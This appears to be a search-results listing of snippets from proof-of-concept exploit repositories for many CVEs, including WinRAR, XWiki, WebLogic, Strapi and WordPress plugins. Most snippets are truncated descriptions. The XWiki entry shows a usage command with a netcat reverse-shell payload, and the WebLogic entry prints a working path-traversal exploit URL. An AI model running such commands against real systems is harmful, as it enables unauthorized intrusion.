304786 matches found
CVE-2025-6218-POC
RARLAB WinRAR Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open...
cve-2020-8165-demo
CVE-2020-8165 Demo Yet another demo of CVE-2020-8165, though in a more realistic implementation than most. Background CVE-2020-8165 A deserialization of untrusted data vulnernerability exists in rails 5.2.4.3, rails 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in...
CVE-2025-24893
CVE-2025-24893 Remote Code Execution exploit for XWiki for versions prior to 15.10.11, 16.4.1 and 16.5.0RC1. Usage $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use it only for ethical purposes :...
vbox_cve_2017_10235
CVE-2017-10235: VirtualBox E1000 device buffer overflow Introduction The following document details a bug found in VirtualBox v5.1.22 now fixed in v5.1.24, in the guest device emulation component DevE1000 Intel 82540EM Ethernet Controller Emulation, in the function e1kFallbackAddToFrame, which...
INPGer
INPGer | CVE-2022-4063 - InPost Gallery Automatic Mass Tool for checking vulnerability in CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh How To Use bash inpger.sh yourlist.txt thread Reference...
CVE-2023-23333
CVE-2023-23333 SolarView Compact hasta 6.00 inyección de comandos en downloader.php RCE nuclei-templates Burp Nuclei...
CVE-2019-19609
Strapi CMS Exploit This exploit targets two vulnerabilities in the Strapi CMS Framework version 3.0.0-beta-17.4 allowing for unauthenticated remote code execution RCE. Vulnerabilities CVE-2019-18818 Weak Password Recovery Mechanism for Forgotten Password CVSS : 9.8 - Critical More details:...
CVE-2022-1329-WordPress-Elementor-RCE
CVE-2022-1329-WordPress-Elementor-RCE Este PoC está basado en el de AkuCyberSec. 中文版本 Uso Usa docker-compose para iniciar el entorno vulnerable: docker-compose up -d Luego puedes acceder a la página de administración de WordPress con la URL http://localhost:8000. Registra el usuario administrador...
CVE-2021-43936
CVE-2021-43936 CVE-2021-43936 es una vulnerabilidad crítica CVSS3 10.0 que conduce a la Ejecución Remota de Código RCE en el firmware de WebHMI. Esta vulnerabilidad afecta a las versiones 4.0 y las más recientes. Probada solo en 4.0.7475. El script utiliza la vulnerabilidad en los siguientes paso...
CVE-2026-14894
CVE-2026-14894 — Super Forms: RCE por subida de archivos no autenticada Fuga de nonce → Subida datauristring → Ejecución de código Descripción general CVE-2026-14894 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad crítica CVSS 9.8 en el plugin de WordPress Super...
cve-2020-14882
CVE-2020-14882 Versiones afectadas: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; imagen: EXP:...
CVE-2026-48907
CVE-2026-48907 - Joomla! JCE Unauthenticated RCE Joomla! JCE extension This tool is for educational and authorized testing purposes only. Use only on systems you own or have explicit permission to test The author is not responsible for any misuse or illegal activities Always obtain proper...
CVE-2021-40444
CVE-2021-40444 PoC Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx file You need to...
Log4Shell_CVE-2021-44228_related_attacks_IOCs
Log4Shell（CVE-2021-44228）related attacks IOCs Source IPs attempting attacks using Apache Log4j RCE, including a large number of Tor nodes, see Attack-IP.md IOCs for malware, botnets, etc. propagated via the Log4j vulnerability, see IOC-C2.md Snort detection rules, see Snort.md Suricata rules, see...
struts2-rce
Demo de Exploit para CVE-2017-5638 Completamente basado en https://github.com/piesecurity/apache-struts2-CVE-2017-5638 Un escenario realista donde un proyecto de referencia para un framework se despliega en un contenedor pero con terribles consecuencias. Para familiarizarte, mira el código y...
poc-cve-2018-1273
CVE-2018-1273 Spring Data Commons, versiones anteriores a 1.13 hasta 1.13.10, 2.0 hasta 2.0.5, y versiones antiguas no soportadas, contienen una vulnerabilidad de enlace de propiedades causada por una neutralización incorrecta de elementos especiales. Un usuario malintencionado remoto no...
CVE-2022-36804
CVE-2022-36804 RCE en Bitbucket 2022 Este repositorio es parte de hgrab-framework dork title: "Public Repositories - Bitbucket" Productos afectados - Bitbucket Server y Data Center 7.6 anteriores a 7.6.17 - Bitbucket Server y Data Center 7.17 anteriores a 7.17.10 - Bitbucket Server y Data Center...
Incident-Response-Report-TeamCity-Compromise-CVE-2024-27198-
Incident Response Report: TeamCity Compromise CVE-2024-27198 Analyst: Belal Abdelsalam Date: July 2026 Lab/Environment: CyberDefenders JetBrains 📄 Executive Summary This report documents the forensic analysis of a compromised JetBrains TeamCity server version 2023.11.3. By analyzing the provided...
